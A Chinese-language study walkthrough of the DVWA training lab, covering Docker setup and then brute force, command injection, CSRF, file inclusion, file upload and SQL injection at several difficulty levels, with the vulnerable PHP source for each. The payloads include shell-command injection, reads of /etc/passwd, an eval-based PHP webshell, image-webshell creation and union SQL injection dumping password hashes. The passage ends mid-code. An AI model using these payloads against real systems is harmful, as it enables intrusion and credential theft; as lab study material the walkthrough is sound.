安装

1.Docker

- 简
  - ```
    sudo su

    // 配置源
    echo > /etc/apt/sources.list
    vim /etc/apt/sources.list
    // 输入

    # '#'为注释，系统配置中 # 后面是默认内容，也可以理解为注释
    #中科大
    deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
    deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free
    contrib

    #阿里云
    deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
    deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free
    contrib

    #清华大学
    #deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib
    non-free
    #deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main
    contrib non-free

    #浙大
    #deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
    #deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-
    free

    #东软大学
    #deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free
    contribp.kali.org/kali kali-rolling main non-free contrib

    #重庆大学
    #deb http://http.kali.org/kali kali-rolling main non-free contrib
    #deb-src http://http.kali.org/kali kali-rolling main non-free contrib

    // 安装
    apt-get update
    apt-get docker-compose
    ```

- Ubuntu：Ubuntu Docker 安装 | 菜鸟教程 (runoob.com)
- kali： kali下对Docker的详细安装
    ```

2. DVWA

~~windows~~

> https://github.com/digininja/DVWA

新建一个文件夹，在里面开启命令窗口，输入`git clone https://github.com/digininja/DVWA`
【注】如果没有 git，需要安装

> 安装Git - 廖雪峰的官方网站 (liaoxuefeng.com)

- `README.md`文件
  - .\config\config.inc.php.dist
  - 改后缀、改用户名密码、创建数据库
- PHPstudy 创建网站

kali

```
sudo su
docker search dvwa
docker pull [NAME](选择一个 STARS 最多的就行)

docker images
docker run -d -p 80:80 [IMAGE_ID]
                    虚拟机端口:docker端口
    -d  后台运行
    -p  自定义映射
    -P  随机映射
        docker ps 来查看映射
    -i  交互
    -t  终端输入
ifconfig
    查看ip，可以在物理机访问dvwa
```

- 如果遇到了自己可以打开端口网站，但是物理机打不开时，请考虑以下几种情况
  - 1. 是否打开 apache2 服务 `service apache2 start`
    2. 物理机无法 ping 通虚拟机
       重新连接一次网卡即可
       编辑-->虚拟网络编辑器-->勾选将主机虚拟连接到此网络【如果已经勾上了麻烦取消勾选再勾选一次点击应用即可完成重启操作】

       > https://www.cnblogs.com/pandana/p/15220589.html

登录

- 用户名：admin

- 密码：password
- 使用工具：burp suite 【此处是 v2021.12】
- 做题一般是先尝试方法，再通过审计代码方式找到正确的方法
- 建议做题顺序
    1. SQL Injection
    2. SQL Injection (Blind)
    3. Brute Force
    4. File Upload
    5. File Inclusion
    6. Command Injection
    7. XSS (DOM)
    8. XSS (Reflect)
    9. XSS (Stroed)
    10. CSRF
    11. Weak Session IDs
    12. 其他
- DVWA Security 处设置难度
    - Impossible 一般偏向于现实环境，可自行研究

1.Brute Force

- 暴力破解

Low

- 1

```
Brute Force Source
vulnerabilities/brute/source/low.php
<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password =
'$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die(
'<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ?
mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res =
mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];
```

```
        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]) ) )
? false : $___mysqli_res);
}

?>
```

- ```
  mysqli_num_rows()        // 返回结果共几行【int】
  mysqli_fetch_assoc()     // 截取一行



  // 杂
  mysqli_query()           // 在数据库查询
  $GLOBALS                 // 全局变量，哪都能用
  is_object                // 检查是否为对象
  mysqli_error()           // 返回最近一个调用函数的错误描述
  mysqli_connect()         // 连接数据库
  mysqli_connect_error()    // 返回连接错误代码
  mysqli_close()           // 关闭先前打开的数据库
  ```

payload

- 手动注入
  - ```
    http://192.168.248.129:999/vulnerabilities/brute/
    ?password=das
    &Login=Login
    &username=dasdasd' or '1'='1' limit 1,1 --+
    #

    /*
    limit 3,1  行数不同，显示不同照片路径
    */
    ```

- burp suite
  - ```
    Positions
       Send to Intruder
            Sniper【狙击手】←--
                单一攻击，无组合，选中变量一个一个来
            Battering ram【攻城锤】
                所有变量使用同一payload
            Pitchfork【干草叉】
                简单组合，使用相同位置的payload
            Cluster bomb【集束炸弹】
                自由组合(所有组合)
        Clear $ ←--
    ```
    ```

```
    Add $    ←——
Payloads
    Simple list【简单表】
        自由使用爆破表，字典
    Brute force【暴力破解】
Start attack ←——
```

> [burpsuite实战指南]

Medium

- Brute Force Source
vulnerabilities/brute/source/medium.php

```php
<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) &&
is_object($GLOBALS["___mysqli_ston"])) ?
mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) :
((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!
This code does not work.", E_USER_ERROR)) ? "" : ""));
// ↑ 变化

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) &&
is_object($GLOBALS["___mysqli_ston"])) ?
mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) :
((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!
This code does not work.", E_USER_ERROR)) ? "" : ""));
// ↑ 变化
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password =
'$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die(
'<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ?
mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res =
mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );
        // ↑ 增加时间
```

```
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ?
false : $___mysqli_res);
}

?>
```

- ```
  mysqli_real_escape_string()     // 转义sql语句中特殊字符，把 ' 换成 \',需要宽字节注入,如果不是宽字节编码也不行
  trigger_error()                 // 提示自定义报错
  ```

payload

- burp suite
- 同 low 等级，但是时间会增加

High

- ```
  Brute Force Source
  vulnerabilities/brute/source/high.php
  <?php

  if( isset( $_GET[ 'Login' ] ) ) {
      // Check Anti-CSRF token
      checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ],
  'index.php' );
      // ↑ 变化

      // Sanitise username input
      $user = $_GET[ 'username' ];
      $user = stripslashes( $user );
      // ↑ 变化
      $user = ((isset($GLOBALS["___mysqli_ston"]) &&
  is_object($GLOBALS["___mysqli_ston"])) ?
  mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) :
  ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!
  This code does not work.", E_USER_ERROR)) ? "" : ""));

      // Sanitise password input
      $pass = $_GET[ 'password' ];
      $pass = stripslashes( $pass );
      // ↑ 变化
      $pass = ((isset($GLOBALS["___mysqli_ston"]) &&
  is_object($GLOBALS["___mysqli_ston"])) ?
  mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) :
  ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!
  This code does not work.", E_USER_ERROR)) ? "" : ""));
      $pass = md5( $pass );

      // Check database
      $query  = "SELECT * FROM `users` WHERE user = '$user' AND password =
  '$pass';";
  ```

```
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die(
'<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ?
mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res =
mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        // ↑ 变化
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ?
false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>
```

- ```
  stripslashes()          // 删除反斜杠 '\'，删除又去掉转义字符，无法sql注入
  /* 实际增加
  checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ],
  'index.php' );
  */
  ```

- 增加了 Token，增加验证方式

  > token的意思
  >
  > token由客户端决定，每一次访问都会给客户发送 token

payload

- ```
  Send to Intruder
      Positions
          clear $
          Add $  password,user_token
      Options
          Redirections - always
              // 登录成功或失败会跳转，重定向回来
          Grep-Extract
              // token会相互印证，用来检索位置
              Add
                  refresh response
                  选中并复制 token -> OK
      Payloads
  ```

```
        1 - Simple list - 密码库
        2 - Recursive grep
            // 递归匹配，将第一次产生的相应作为第二次的payload
            粘贴token至 Initial payload for first request:
    Resource Pool【设置线程为 1 】
        Create new resource pool
            Maximum concurrent requests: 1
    Start Attack
```

2.Command Injection

- 命令注入
- 什么是命令注入

Low

- ```
  Command Injection Source
  vulnerabilities/exec/source/low.php
  <?php
  if( isset( $_POST[ 'Submit' ]  ) ) {
      // Get input
      $target = $_REQUEST[ 'ip' ];

      // Determine OS and execute the ping command.
      if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
          // Windows
          $cmd = shell_exec( 'ping  ' . $target );
      }
      else {
          // *nix
          $cmd = shell_exec( 'ping  -c 4 ' . $target );
      }

      // Feedback for the end user
      echo "<pre>{$cmd}</pre>";
  }
  ?>
  ```

- ```
  php_uname()          // 返回运行系统的信息， 's' 返回操作系统名称
  stristr()            // 搜索字符输入位置，并返回后续输出
  ```

payload

- ```
  127.0.0.1 | dir      // 或者 ls 来猜操作系统

  /* 通配符/管道符
  &    后一条命令在后台执行
  |    前一条输出，作为后一条输入    此处只显示第二条命令
  &&   前一条成功才能执行后一条命令
  ||   前一条失败才能执行后一条命令
  ```

Medium

- ```
  Command Injection Source
  vulnerabilities/exec/source/medium.php
  <?php

  if( isset( $_POST[ 'Submit' ]  ) ) {
      // Get input
      $target = $_REQUEST[ 'ip' ];

      // Set blacklist
      $substitutions = array(
          '&&' => '',
          ';'  => '',
      );
      // ↑ 变化

      // Remove any of the charactars in the array (blacklist).
      $target = str_replace( array_keys( $substitutions ), $substitutions,
  $target );
      // ↑ 变化

      // Determine OS and execute the ping command.
      if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
          // Windows
          $cmd = shell_exec( 'ping  ' . $target );
      }
      else {
          // *nix
          $cmd = shell_exec( 'ping  -c 4 ' . $target );
      }

      // Feedback for the end user
      echo "<pre>{$cmd}</pre>";
  }

  ?>
  ```

- ```
  str_replace()        // 字符串替换
  array_keys()         // 返回所有键名的一个新数组
  // 过滤了 && 和 ;
  ```

payload
  ```

- `127.0.0.1 | dir`

High

- Command Injection Source
vulnerabilities/exec/source/high.php

```
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);
    // ↑ 変化

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',

    );
    // ↑ 変化

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions,
$target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>
```

- ```
  trim()
  /* 如果没有选择字符，则移除一些"空格":
  * "\0" - NULL
  * "\t" - 制表符
  * "\n" - 换行
  * "\x0B" - 垂直制表符
  * "\r" - 回车
  *  " " - 空格
  */
  ```

paylaod

- ```
  127.0.0.1 |dir

  // 注意观察过滤字符，'| ' 否 '|'
  ```

3.CSRF

- 跨站请求伪造
- CSRF是什么

Low

- ```
  CSRF Source
  vulnerabilities/csrf/source/low.php
  <?php

  if( isset( $_GET[ 'Change' ] ) ) {
      // Get input
      $pass_new  = $_GET[ 'password_new' ];
      $pass_conf = $_GET[ 'password_conf' ];

      // Do the passwords match?
      if( $pass_new == $pass_conf ) {
          // They do!
          $pass_new = ((isset($GLOBALS["___mysqli_ston"]) &&
  is_object($GLOBALS["___mysqli_ston"])) ?
  mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) :
  ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!
  This code does not work.", E_USER_ERROR)) ? "" : ""));
          $pass_new = md5( $pass_new );

          // Update the database
          $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '"
  . dvwaCurrentUser() . "';";
          $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or
  die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ?
  mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res =
  mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
  ```
  ```

```
        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ?
false : $___mysqli_res);
}

?>
```

payload

- 输入任意新密码，抓包截获
  直接改密码即可
  看到特征之后可任意更改

Medium

- CSRF Source
  vulnerabilities/csrf/source/medium.php

```
<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !==
false ) {
    // ↑ 变化
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) &&
is_object($GLOBALS["___mysqli_ston"])) ?
mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) :
((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!
This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user
= '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or
die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ?
mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res =
mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
```

```
            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ?
false : $___mysqli_res);
}

?>
```

- ```
  stripos()                    // 查找后字符串在前字符串出现的位置
  $_SERVER['HTTP_REFERER']     // 链接到当前页面的前一页面的 URL 地址。referer头的内
  容
  $_SERVER['SERVER_NAME']      // 当前运行脚本所在服务器主机的名称。服务器当前使用的IP
  ```

payload

- ```
  加入 Referer 头
  // 截获成功的包来修改
  ```

High

- ```
  CSRF Source
  vulnerabilities/csrf/source/high.php
  <?php

  if( isset( $_GET[ 'Change' ] ) ) {
      // Check Anti-CSRF token
      checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ],
  'index.php' );
      // ↑ 变化

      // Get input
      $pass_new  = $_GET[ 'password_new' ];
      $pass_conf = $_GET[ 'password_conf' ];

      // Do the passwords match?
      if( $pass_new == $pass_conf ) {
          // They do!
          $pass_new = ((isset($GLOBALS["___mysqli_ston"]) &&
  is_object($GLOBALS["___mysqli_ston"])) ?
  mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) :
  ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!
  This code does not work.", E_USER_ERROR)) ? "" : ""));
  ```
  ```

```
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '"
. dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or
die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ?
mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res =
mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ?
false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>
```

- 增加 Token 验证

payload

- burp拦截别取消，一直到修改完
  Send to Repeater
  发送请求，获取返回的token，复制
  粘贴token到第二次请求，修改密码，发送
  放包
  最后可以用修改的密码登录
  但是一放包，token就会刷新，因此不能再修改密码，但是已经获得了用户的密码，直接自己去登录网站即可

4.File Inclusion

- 文件包含
- 什么是文件包含

Low

- File Inclusion Source
vulnerabilities/fi/source/low.php

```php
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>
```

- 文件读取

payload

- ```
http://192.168.248.129:999/vulnerabilities/fi/?page=file4.php
// 尝试
http://192.168.248.129:999/vulnerabilities/fi/?page=/etc/passwd
// 敏感文件
http://192.168.248.129:999/vulnerabilities/fi/?page=http://***/hello.php
// 远程文件包含
```

# Medium

- File Inclusion Source
vulnerabilities/fi/source/medium.php

```php
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
// ↑ 变化
?>
```

- 替换 http:// https:// ../ ..\ 为空

payload

- ```
/*
如果可以远程访问
php.ini配置中
allow_url_fopen=On
allow_url_include=On
*/
http://192.168.248.129:999/vulnerabilities/fi/?page=HTtp://p://***/hello.php
// 大小写绕过
http://192.168.248.129:999/vulnerabilities/fi/?page=/var/www/html/hello.txt
// 采用绝对路径[linux]
```

High

- File Inclusion Source
vulnerabilities/fi/source/high.php

```php
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
// ↑ 变化
    echo "ERROR: File not found!";
    exit;
}

?>
```

-

```php
fnmatch("file*",$file)      // 传入file文件以'file'开头为1，否则为 0
// 此处需要符合此条件，以file开头，使用file://协议
```

payload

- http://192.168.248.129:999/vulnerabilities/fi/?page=file:///etc/passwd

5.File Upload

- 文件上传
- 什么是文件上传

Low

- File Upload Source
vulnerabilities/upload/source/low.php

```php
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ],
$target_path ) ) {
```

```
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>
```

- ```
  basename()          // 显示文件的文件名
  .=                  // 连接赋值运算符,右边参数附加到左边的参数之后
  $_FILES['uploaded']['name'] // 上传文件名的名称
  $_FILES['uploaded']['tmp_name'] // 上传的临时副本的名称
  move_uploaded_file()        // 把文件移动到新的位置

  // 什么都能传
  ```

payload

- ```
  //  上传一个一句话木马，再去读取，连接蚁剑
  <?php
      echo "Success";
      phpinfo();
      eval($_REQUEST['test']);
  ?>

  http://192.168.248.129:999/hackable/uploads/info.php
  ```

Medium

- ```
  File Upload Source
  vulnerabilities/upload/source/medium.php
  <?php

  if( isset( $_POST[ 'Upload' ] ) ) {
      // Where are we going to be writing to?
      $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
      $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

      // File information
      $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
      $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
      $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
      // ↑ 变化

      // Is it an image?
      if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" )
  &&
      // ↑ 变化
          ( $uploaded_size < 100000 ) ) {
      // ↑ 变化
  ```
  ```

```
        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ],
$target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or
PNG images.</pre>';
    }
}

?>
```

- ```
  // 上传格式粗过滤和大小过滤
  ```

payload

- ```
  继续上传 low 等级下的脚本，burpsuite 改包再上传
  Content-Type:   image/png
  ```

High

- ```
  File Upload Source
  vulnerabilities/upload/source/high.php
  <?php

  if( isset( $_POST[ 'Upload' ] ) ) {
      // Where are we going to be writing to?
      $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
      $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

      // File information
      $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
      $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' )
  + 1);
      // ↑ 变化
      $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
      $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

      // Is it an image?
      if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext
  ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
          ( $uploaded_size < 100000 ) &&
          getimagesize( $uploaded_tmp ) ) {
          // ↑ 变化
          // Can we move the file to the upload folder?
  ```
  ```

```
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or
PNG images.</pre>';
    }
}

?>
```

- ```
  substr()            // 截取字符串
  strrpos()           // 寻找字符串最后一次出现位置
  strtolower()        // 所有字符换成小写
  getimagesize()      // 获取图片信息，获取到了返回true

  // 以上种种信息都证明要真的上传一张照片，故做一个图片马，但是得用文件包含题目条件
  // include()把包含文件用php脚本方式读取
  // 伪图片
  ```

payload

- ```
  // 图片马，随意一张图片 1.png ，脚本文件 info.php 改为 info.txt
  // windows下制作
  copy 1.png /b + info.txt /a info.png
  // File Inclusion[high] 读取
  ?page=file:///var/www/html/hackable/uploads/info.jpg
  ```

6.Insecure CAPTCHA

- 不安全的验证码
- 和 google 有关，留待以后再看

7.SQL Injection

- SQL 注入

Low

- SQL Injection Source
vulnerabilities/sqli/source/low.php

```
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id =
'$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die(
'<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ?
mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res =
mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}
</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>
```

- `mysqli_fetch_assoc()` // 截取一行

payload

-

```
# 拼接头
SELECT first_name, last_name FROM users WHERE user_id = '$id'


?id=1                       # access
?id=1'                      # error
?id=1' or 1=1 --+           # access
# 例
SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1 ;

?id=0 order by 3 --+        # error
?id=0 order by 2 --+        # access
# 例
SELECT first_name, last_name FROM users WHERE user_id = '0' order by 3 ;


?id=0' union select 1,2--+   # access
?id=0' union select database(),version() --+
# 例 联合注入查询在前者语句查询为空时查询后者语句
```

```
SELECT first_name, last_name FROM users WHERE user_id = '0' union select
database(),version() ;


?id=0' union select 'k',group_concat(schema_name) from
information_schema.schemata --+

?id=0' union select 'k',group_concat(table_name) from
information_schema.tables where table_schema='information_schema'--+

?id=0' union select 'k',group_concat(table_name) from
information_schema.tables where table_schema=database()--
+

?id=0' union select 'k',group_concat(column_name) from
information_schema.columns where table_name='guestbook'--+

?id=0' union select 'k',group_concat(comment_id,0x7e,comment,0x7e,name) from
dvwa.guestbook --+

?id=0' union select 'k',group_concat(column_name) from
information_schema.columns where table_name='users'--+
# 例
SELECT first_name, last_name FROM users WHERE user_id = '0' union select
'k',group_concat(column_name) from information_schema.columns where
table_name='users' ;
```

- 记录

```
dvwa,informaiton_schema
dvwa: guestbook,users
    guestbook: comment_id,comment,name
            1~This is a test comment.~test
    users:
user_id,first_name,last_name,user,password,avatar,last_login,failed_login

1~admin~admin~admin~5f4dcc3b5aa765d61d8327deb882cf99~/hackable/users/admin.j
pg~2022-09-23 05:18:26~0,
2~Gordon~Brown~gordonb~e99a18c428cb38d5f260853678922e03~/hackable/users/gord
onb.jpg~2022-09-23 05:18:26~0,
3~Hack~Me~1337~8d3533d75ae2c3966d7e0d4fcc69216b~/hackable/users/1337.jpg~202
2-09-23 05:18:26~0,
4~Pablo~Picasso~pablo~0d107d09f5bbe40cade3de5c71e9e9b7~/hackable/users/pablo
.jpg~2022-09-23 05:18:26~0,
5~Bob~Smith~smithy~5f4dcc3b5aa765d61d8327deb882cf99~/hackable/users/smithy.j
pg~2022-09-23 05:18:26~0

// 密码经过加密，使用在线工具破解 https://www.cmd5.com/
分别为：1.password   2.abc123   3.charley   4.letmein   5.password
```

Medium

```
SQL Injection Source
```

```
vulnerabilities/sqli/source/medium.php
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    // ↑ 变化
    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    // ↑ 变化
    $query  = "SELECT first_name, last_name FROM users WHERE user_id =
$id;"; // ← 细看有变化
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die(
'<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}
</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in
the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>'
. ((is_object($GLOBALS["___mysqli_ston"])) ?
mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res =
mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>
```

- ```
  mysqli_real_escape_string()          // 转义sql语句中特殊字符，把 ' 换成 \',需要宽
  字节注入,如果不是宽字节编码也不行
  // 过滤了
  ```

payload
  ```

- ```
  # 仔细看， 注入语句发生变化
  # LOW:
  $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
  # Medium:
  $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
  # 传入参数进去，不用闭合

  # 万能钥匙为例，其余不再赘述
  id=-2 or 1=1
  SELECT first_name, last_name FROM users WHERE user_id = -2 or 1=1;
  ```

High

- ```
  SQL Injection (Blind) Source
  vulnerabilities/sqli_blind/source/high.php
  <?php

  if( isset( $_COOKIE[ 'id' ] ) ) {
      // Get input
      $id = $_COOKIE[ 'id' ];
      // ↑ 变化
      // Check database
      $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
      $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

      // Get results
      $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
      // ↑ 变化
